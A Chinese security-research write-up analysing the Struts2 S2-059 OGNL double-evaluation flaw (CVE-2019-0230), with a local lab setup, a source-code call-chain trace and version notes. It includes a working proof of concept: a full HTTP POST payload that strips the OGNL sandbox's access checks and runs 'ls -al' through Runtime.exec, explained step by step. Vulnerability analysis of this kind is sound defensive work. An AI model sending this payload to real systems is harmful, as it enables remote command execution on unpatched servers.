Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析
作者:白帽汇安全研究院@hu4wufu
核对:白帽汇安全研究院@r4v3zn
前言
虽然近几年来关于ONGL
方面的漏洞已经不多了,但是毕竟是经典系列的RCE
漏洞,还是有必要分析的。而且对于Struts2
和OGNL
了解也有助于代码审计和漏洞挖掘。
首先了解一下什么是OGNL
,object Graphic Navigation Language
(对象图导航语言)的缩写,Struts
框架使用OGNL
作为默认的表达式语言。
struts2_S2_059
和S2_029
漏洞产生的原理类似,都是由于标签属性值进行二次表达式解析产生的,细微差别会在分析中提到。
漏洞利用前置条件是需要特定标签的相关属性存在表达式%{payload}
,且payload
可控并未做安全验证。这里用到的是a
标签id
属性。
id
属性是该action
的应用id
。
经过分析,受影响的标签有很多继承AbstractUITag
类的标签都会受到影响,受影响的属性只有id
。
环境准备
测试环境:Tomcat 8.5.56
、JDK 1.8.0_131
、Struts 2.3.24
。
由于用Maven
创建有错误没有解决,所以选用idea
自带的创建struts2
工程。
创建好工程后,在web/WEB-INF
下新建lib
文件夹,然后将下载的jar
包复制进去即可。
jsp
测试文件:
添加字段获取传参,并且显示到页面。
漏洞验证
poc1:http://localhost:8082/test-S2-059.action?payload=%25%7b%31%2b%34%7d%0a
输入普通文本:
输入ONGL
表达式%{1+4}
,需要url转码%25%7b%31%2b%34%7d%0a
poc2:
这里发送一个post包即可,构造思路在分析和总结中提到。
POST /s2_059/index.action HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Origin: http://localhost:8085
Connection: close
Referer: http://localhost:8085/s2_059_war/
Cookie: JSESSIONID=272825C954147516F847095B055202B5; JSESSIONID=01F82222F5CCED3DC9B7819AE6C98DA0
Upgrade-Insecure-Requests: 1
payload=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d
漏洞分析
我们首先看一下漏洞的调用栈:
不同版本的调用链可能会不一样,比如在较低的版本最终是在com.opensymphony.xwork2.util.TextParseUtil.class
的translateVariables()
方法赋值。
漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-059
根据漏洞详情可知问题出现在标签解析的时候,所以我们从org.apache.struts2.views.jsp.ComponentTagSupport
的doStartTag
方法开始跟进,从这里开始进行jsp
标签的解析。当用户发送请求的时候,doStartTag()
开始执行。我们直接debug
断点在解析标签的ComponentTagSupport
的第一行。
在this.populateParams()
进行赋值,所以我们跟进populateParams()
,进行初始参数值的填充。
org.apache.struts2.views.jsp.ui.AnchorTag.class
中存储着所有的标签对象。
org.apache.struts2.views.jsp.ui.AbstractClosingTag.class
这里是调用了父类AbstractUITag
的populateParams()
方法。
继承AbstractUITag
类的标签都会受到影响。当这些标签存在id
属性时,会调用父类org.apache.struts2.views.jsp.ui.AbstractUITag.populateParams()
方法,触发setId()
方法时会解析一次OGNL
表达式。
往下跟父类的populateParams()
方法。
UIBean uiBean = (UIBean)this.component;
uiBean.setCssClass(this.cssClass);
uiBean.setCssStyle(this.cssStyle);
uiBean.setCssErrorClass(this.cssErrorClass);
uiBean.setCssErrorStyle(this.cssErrorStyle);
uiBean.setTitle(this.title);
uiBean.setDisabled(this.disabled);
uiBean.setLabel(this.label);
uiBean.setLabelSeparator(this.labelSeparator);
uiBean.setLabelposition(this.labelPosition);
uiBean.setRequiredposition(this.requiredposition);
uiBean.setName(this.name);
uiBean.setRequired(this.required);
uiBean.setTabindex(this.tabindex);
uiBean.setValue(this.value);
uiBean.setTemplate(this.template);
uiBean.setTheme(this.theme);
uiBean.setTemplateDir(this.templateDir);
uiBean.seton click(this.on click);
uiBean.seton dblclick(this.on dblclick);
uiBean.seton mousedown(this.on mousedown);
uiBean.seton mouseup(this.on mouseup);
uiBean.seton mouseover(this.on mouseover);
uiBean.seton mousemove(this.on mousemove);
uiBean.seton mouseout(this.on mouseout);
uiBean.seton focus(this.on focus);
uiBean.seton blur(this.on blur);
uiBean.seton keypress(this.on keypress);
uiBean.seton keydown(this.on keydown);
uiBean.seton keyup(this.on keyup);
uiBean.seton select(this.on select);
uiBean.seton change(this.on change);
uiBean.setTooltip(this.tooltip);
uiBean.setTooltipConfig(this.tooltipConfig);
uiBean.setja vasc riptTooltip(this.ja vasc riptTooltip);
uiBean.setTooltipCssClass(this.tooltipCssClass);
uiBean.setTooltipDelay(this.tooltipDelay);
uiBean.setTooltipIconPath(this.tooltipIconPath);
uiBean.setAccesskey(this.accesskey);
uiBean.setKey(this.key);
uiBean.setId(this.id);
uiBean.setDynamicAttributes(this.dynamicAttributes);
跟进其他属性到org.apache.struts2.components.UIBean.class
发现AbstractUITag.class
所有的属性除了id
都是直接赋值。
@StrutsTagAttribute(
desc ription = "The template directory."
)
public void setTemplateDir(String templateDir) {
this.templateDir = templateDir;
}
...
@StrutsTagAttribute(
description = "Icon path used for image that will have the tooltip"
)
public void setTooltipIconPath(String tooltipIconPath) {
this.tooltipIconPath = tooltipIconPath;
}
跟进setId()
方法,会有一个findString()
方法,这里也就解释了为什么是id
属性进行解析了。
如果id
不为空,那么给id
赋值用户传入的值。接着跟入findString()
。
跟进findValue()
方法,我们来看看赋值过程。
如果altSyntax
功能开启(此功能在S2-001
的修复方案是将其默认关闭),altSyntax
这个功能是将标签内的内容当作OGNL
表达式解析,关闭了之后标签内的内容就不会当作OGNL
表达式解析了。执行到TextParseUtil.translateVariables('%', expr, this.stack)
,然后在下面执行OGNL
的表达式的解析,返回传入action
的参数%{1+4}
,这里进行了一次表达式的解析。也就是对属性的初始化赋值操作。
translateVariables()
函数传过来的open
参数的值是'%'
,在截取的时候是截取的 open
之后的字符串,并把传入stack.OgnlValueStack
,这也是我们的poc
构造的时候要写成%{*}
形式的原因。
跟到com.opensymphony.xwork2.util.TextParseUtil.class
中的translateVariables()
方法。
在translateVariables()
方法while
循环里加了一个maxLoopCount
参数来限制递归解析的次数,break
跳出循环(这是对S2-001的修复方案)。这里的maxLoopCount
为1。
while(true) {
int start = expression.indexOf(lookupChars, pos);
if (start == -1) {
++loopCount;
start = expression.indexOf(lookupChars);
}
if (loopCount > maxLoopCount) { //设置maxLoopCount参数,break跳出循环。
break;
}
接着往下跟,跟进evaluate()
方法。
最终在com.opensymphonny.xwork2.util:57
完成第一次赋值。这里只进行了一次表达式的解析,返回给action传入的参数是%{1+4},并未解析成功表达式。
所以我们回到ComponentTagSupport.class
类doStartTag()
方法,再跟一下标签对象的start()
方法,这里会进行id
值的二次解析。
这里调用了父类ClosingUIBean
的start()
方法
跟到父类org.apache.struts2.components.ClosingUIBean.class
,我们看一下evaluateParams()
方法。
org.apache.struts2.components.UIBean.class
的evaluateParams()
方法中有很多属性使用findString()
来获取值。
...
if (this.name != null) {
name = this.findString(this.name);
this.addParameter("name", name);
}
if (this.label != null) {
this.addParameter("label", this.findString(this.label));
} else if (providedLabel != null) {
this.addParameter("label", providedLabel);
}
...
if (this.onmouseout != null) {
this.addParameter("onmouseout", this.findString(this.onmouseout));
}
但是除了id
解析两次OGNL
外,算上前面的setId()
解析了一次,所以这里边的其他属性都仅解析了一次。
最终跟进populateComponentHtmlId()
方法
再跟进findStringIfAltSyntax()
方法。
在开启了altSyntax
功能的前提下,可以看到这里对id
属性再次进行了表达式的解析。
进入到findString()
后,就跟前面流程一样了。这也是解释了这次漏洞是由于标签属性值进行二次表达式解析产生的。
跟进findvalue()
org.apache.struts2.components.Component.class
的findStringIfAltSyntax()
,与前面一样又会执行一次TextParseUtil.translateVariables()
方法。
跟进com.opensymphony.xwork2.util.TextParseUtil.class:63
的return parser.evaluate(openChars, ex pression, ognlEval, maxLoopCount)
这里可以看到表达式内容已经解析执行了。
思考
如果表达式中的值可控,那么就有可能传入危险的表达式实现远程代码执行,但是这个漏洞利用前提条件是altSyntax
功能开启且需要特定标签id
属性(暂未找到其他可行属性)存在表达式%{payload}
且payload
可控且不需要进行框架的安全校验。利用条件较为苛刻,需要结合应用程序的代码实现,所以无法进行大规模的利用。
我们知道此次S2-059
与之前的S2-029
和S2-036
类似都是OGNL
表达式的二次解析而产生的漏洞,用S2-029
的poc打不了S2-059
搭建的环境。
与S2-029
的区别:S2-029
是标签的name
属性出现了问题,由于name
属性调用了org.apache.struts2.components.Component.class
的completeex pressionIfAltSyntax()
方法,会自动加上"%{}"
这也就解释了S2-029
的payload
不用加%{}
的原因。
protected String completeex pressionIfAltSyntax(String expr) {
return this.altSyntax() ? "%{" + expr + "}" : expr;
}
关于受影响标签:
继承AbstractUITag
类的标签都会受到影响。当这些标签存在id
属性时,会调用父类AbstractUITag.populateParams()
方法,触发setId()
解析一次OGNL
表达式。比如label
标签(同样输入表达式%{1+4}
)。
这里可以看到LabelTag.class
继承了AbstractUITag.class
关于版本问题:
官方说明影响范围是Apache Struts 2.0.0 - 2.5.20,这里测试了2.1.1和2.3.24版本。
不同的版本对于沙盒的绕过不同,所用的到的poc绕过也就有出入,再高版本2.5.16之后的沙盒目前没有公开绕过方法。我测试了稍低版本Struts 2.2.1
与稍高版本Struts 2.3.24
,均可以控制输入值。
关于回显:
%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
}
OgnlContext
的_memberAccess
变量进行了访问控制限制,决定了用哪些类,哪些包,哪些方法可以被OGNL
表达式所使用。
所以其中poc中需要设置#_memberAccess.allowPrivateAccess=true
用来授权访问private
方法,#_memberAccess.allowStaticMethodAccess=true
用来授权允许调用静态方法,
#_memberAccess.excludedClasses=#_memberAccess.acceptProperties
用来将受限的类名设置为空
#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties
用来将受限的包名设置为空
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter()
返回HttpServletResponse
实例获取respons
对象并回显。
#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
执行系统命令,使用java.util.Scanner
一个文本扫描器,执行命令ls -al
,将目录下的内容回显出来。
至于为什么加%{}
,在之前的分析中已经提及。
最新评论